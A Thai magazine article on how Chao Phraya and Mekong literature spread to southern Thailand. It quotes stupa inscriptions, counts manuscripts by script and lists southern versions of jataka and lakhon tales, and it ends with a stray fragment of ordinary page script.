มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 3 พฤษภาคม 2556

 

          คนในตระกูลไทย-ลาว เคลื่อนย้ายจากลุ่มน้ำเจ้าพระยา ผ่านเมืองเพชรบุรี ลงดินแดนคาบสมุทรภาคใต้ ไปตั้งหลักที่เมืองนครศรีธรรมราช แล้วกระจายไปที่อื่นๆ ตั้งแต่ยุคก่อนอยุธยา

          ด้วยเหตุนี้จึงมีวรรณกรรมลุ่มน้ำเจ้าพระยากับลุ่มน้ำโขง ตกค้างอยู่ภาคใต้

 

          อักษรไทยและอักษรขอม ในภาคใต้

          อักษรไทย ภาษาไทย ในภาคใต้ แพร่ลงไปจากบ้านเมืองลุ่มน้ำเจ้าพระยา เท่าที่พบหลักฐานสำคัญมากขณะนี้ คือ

          จารึกบนแผ่นทองคำ ลงศักราช พ.ศ. 2159 (ตรงกับแผ่นดินสมเด็จพระเจ้าทรงธรรม ครองราชย์ระหว่าง พ.ศ. 2153-2171) ที่ใช้หุ้มปลียอดพระบรมธาตุเจดีย์ วัดพระมหาธาตุวรมหาวิหาร จ. นครศรีธรรมราช (สารานุกรมวัฒนธรรมไทย ภาคใต้ เล่ม 10 หน้า 4995) ข้อความว่า

          “มะโรง อัฏฐศก พระแต่พ้นไปแล้ว 2159 ยังจะมาภายหน้า 2480 เศษสังขยา 9 เศษ 317 วัน จึงจะถึงห้า (พัน) พระพรรษา”

          จารึกแผ่นทองที่หุ้มปลียอด อักษรขอม ภาษาไทย พุทธศักราช 2155 ว่า

          “ศุภมัสฤศักราชได้เก้าร้อยเจ็ดสิบสี่ เดือนห้า ขึ้นเก้าค่ำ ปีชวด เถลิงศก วันจันทร์ ชวด จัตวา พระมหาศรีราชปรัชญาเอาทองห้าตำลึงแลญาติอีกด้วยสัปปุรุษทั้งหลายช่วยอนุโมทนาเป็นทองหกตำลึง สามบาท สามสลึง ตีเป็นแผ่น สรวมพระธาตุเจ้าในขณะออกญาพัทลุงมาเป็นพระยานครแลพระเจ้าพระครูเทพรักษาพระธาตุ”

          จารึกที่แกนปลีบัวหงาย อักษรขอม ภาษาไทย พ.ศ. 2190 ข้อความว่า

          “พุทธศักราชได้สองพันร้อยเก้าสิบพระพรรษาเศษได้สี่วัน เมื่อยอดพระเจ้าหัก วันจันทร์ เดือนหก แรมสี่ค่ำ ปีมะเมีย เพลาชายแล้วสองยามสร้างตรลบหกสู่ยอด พระเจ้าหั้นแล เมื่อได้ทำการนั้นเดือนสิบ วันศุกรเพลาเช้าขึ้นถึงสิบชั้นเป็นสุดเอยะ” แสดงว่าพระบรมธาตุเกิดยอดหักและสร้างซ่อมแซมเสร็จในปี พ.ศ. 2190 ซึ่งตรงกับแผ่นดินพระเจ้าปราสาททอง (ครองราชย์ พ.ศ. 2172-2199)

          เรื่องราวเกี่ยวกับพุทธศาสนา มักเขียนด้วยอักษรขอม

          เช่น เรื่อง “พระมาลัย” มีทั้งหมด 116 ฉบับ ใช้อักษรขอม ภาษาขอม 16 ฉบับ อักษรขอมปนไทย ภาษาบาลี 7 ฉบับ อักษรขอม ภาษาไทย 19 ฉบับ อักษรขอมปนไทย ภาษาไทย 31 ฉบับ อักษรไทย ภาษาไทยล้วน 19 ฉบับ

          ประเภทอภิธรรมก็มักใช้ตัวอักษรขอม ภาษาบาลี

          ส่วนหนังสือประเภททางโลก นิยมใช้อักษรไทย เช่น พาลีสอนน้อง มี 15 ฉบับ ใช้อักษรไทย ภาษาไทยทั้งสิ้น (มีทั้งที่เป็นกาพย์ กลอน ฉันท์ ร้อยแก้ว และผสม) หนังสือประเภทกลอนสดนิยมใช้อักษรไทย

          (จากบัญชีรายชื่อวรรณกรรมท้องถิ่นภาคใต้ ซึ่งสถาบันราชภัฏในภาคใต้ จัดทำข้อมูลจากแหล่งสืบค้นเฉพาะ 5 แหล่ง มีทั้งสิ้นประมาณ 6,519 รายการ)

 

กลอนเพลงลุ่มน้ำเจ้าพระยา

          เหตุการณ์ใช้แผ่นทองหุ้มปลียอดพระบรมธาตุ เมืองนครฯ เป็นเรื่องเล่าขานสำคัญมาก จึงมีกลอนเพลงบทหนึ่ง ว่า

          เมืองคอนเหอ…เมืองคอน       แต่ก่อนเขาเล่ามา

          พระศรีธรรมโศกราชมีวาสนา  ได้ก่อมหาธาตุยอดทองคำ

          ไว้เป็นที่บูชามหาชน              ผู้คนนับถืออุปถัมภ์

          ที่ทรุดโทรมซ่อมไว้ไม่ให้ต่ำ     เช้าค่ำมีคนบูชา…เหอ

          ฉันทลักษณ์อย่างนี้เรียกกลอนเพลง มีแพร่หลายอยูก่อนบริเวณลุ่มน้ำเจ้าพระยา พบทั่วไปในกลอนเพลงร้องเล่นของชาวบ้าน และกลอนบทละครเรื่องนางมโนห์รา

          กลอนเพลงอย่างนี้ชาวบ้านแต่ก่อนจำได้ใช้ร้องกล่อมลูก นักวิชาการสมัยหลังเลยเรียกอีกชื่อหนึ่งว่า กลอนกล่อมเด็ก แต่ที่จริงเป็นกลอนเพลงร้องเล่นทั่วไป

 

จากโขง-เจ้าพระยา สู่ภาคใต้

          วรรณกรรมจากลุ่มน้ำโขงกับลุ่มน้ำเจ้าพระยา ที่แพร่ลงไปถึงภาคใต้ มีหลายประเภท จากผลสำรวจที่มีในสารานุกรมวัฒนธรรมไทย ภาคใต้ ได้ความโดยสรุปดังนี้

          1. จากชาดก

          ทั้งจากนิบาตชาดกและชาดกนอกนิบาตบางเรื่อง หรือบางอนุภาคอาจได้รับอิทธิพลจากหนังสือปัญญาสชาดก (ซึ่งเป็นชาดกนอกนิบาตที่รวบรวมนิทานโบราณไว้เป็นภาษามคธโดยภิกษุชาวเชียงใหม่ เมื่อราว พ.ศ. 2000-2200)

          ปัญญาสชาดกนับเป็นบ่อเกิดของนิทานประโลมโลกย์ที่สำคัญ ดังปรากฏว่านักเลงกลอนได้นำเอาเค้าเรื่องมาเสริมแต่งขึ้นใหม่เป็นกลอนสวดหลายเรื่อง เช่น พระสุธนนางมโนห์รา (ภาคใต้มีไม่น้อยกว่า 8 สำนวน) จากสุธนชาดก, สินนุราชและพระสัชนูจากสุธนชาดก, หลวิชัยคาวี หรือเสือโคคำกาพย์จากพหลาคาวีชาดก, วรวงศ์จากวรวงสชาดก, พระรถเมรีจากรถเสนชาดก, สังคปัตจากสังขปัตตชาดก, ยศกิตจากสิริวิบุลกิตติชาดก, สังข์ทองและหอยสังข์จากสุวรรณสังข์ชาดก เป็นต้น

          2. จากบทละครนอก ยุคอยุธยา

          เรื่องเหล่านี้คงแพร่กระจายถึงภาคใต้ จึงได้มีผู้นำเค้าเรื่องมาแต่งขึ้นใหม่อีกต่อหนึ่งด้วยสำนวนภาษาถิ่นใต้

          นิทานประโลมโลกย์ที่มีที่มาจากละครนอก ได้แก่ การะเกด, สุวรรณหงส์, ไกรทอง หรือชาละวันคำกาพย์, โคบุตร, และไชยเชษฐ์ เป็นต้น

          3. จากบทละครใน และโขน

          นำรามเกียรติ์บางตอนมาแต่งขึ้นเป็นสำนวนภาคใต้ ได้แก่ รามเกียรติ์ฉบับบ้านควนเกย อ. ร่อนพิบูลย์ จ. นครศรีธรรมราช

          และเอาอนุภาคของเรื่องที่เกี่ยวกับตัวละครและเหตุการณ์ของเรื่องมาเป็นแนวแต่งขึ้นเป็นเรื่องใหม่ ซึ่งลักษณะหลังนี้ปรากฏมากที่สุด เช่น เรื่องพระแสงสุริยฉาย, ไภยสุริวงศ์, สุวรรณหงส์ (ฉบับบ้านเกาะยอ จ. สงขลา), เรือนแก้วเรือนจัน, สุวรรณสิน, สุพรรณรังสี, และตรีนรายณ์

          อุณรุท ซึ่งเป็นละครในอีกเรื่องหนึ่งก็ได้มีกวีภาคใต้นำมาแต่งขึ้นเป็นเรื่องประโลมโลกย์ พบต้นฉบับเป็นหนังสือบุดของนายอุทัย ศุภนิตย์ ถนนนครใน อ. เมืองสงขลา จ. สงขลา

          4. จากนิทานท้องถิ่น ได้แก่ เจ็ดจา, พงศ์สุริยา, จำปาทอง, แตงอ่อน, พระทินวงศ์, ปองครก, พระวรเนตร, ท้าวไตรวงศ์, วันนุราช, โสนน้อย, นายดัน วันคาร, ฯลฯ

          เรื่องเหล่านี้มักได้จากนิทานลุ่มน้ำโขง

d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);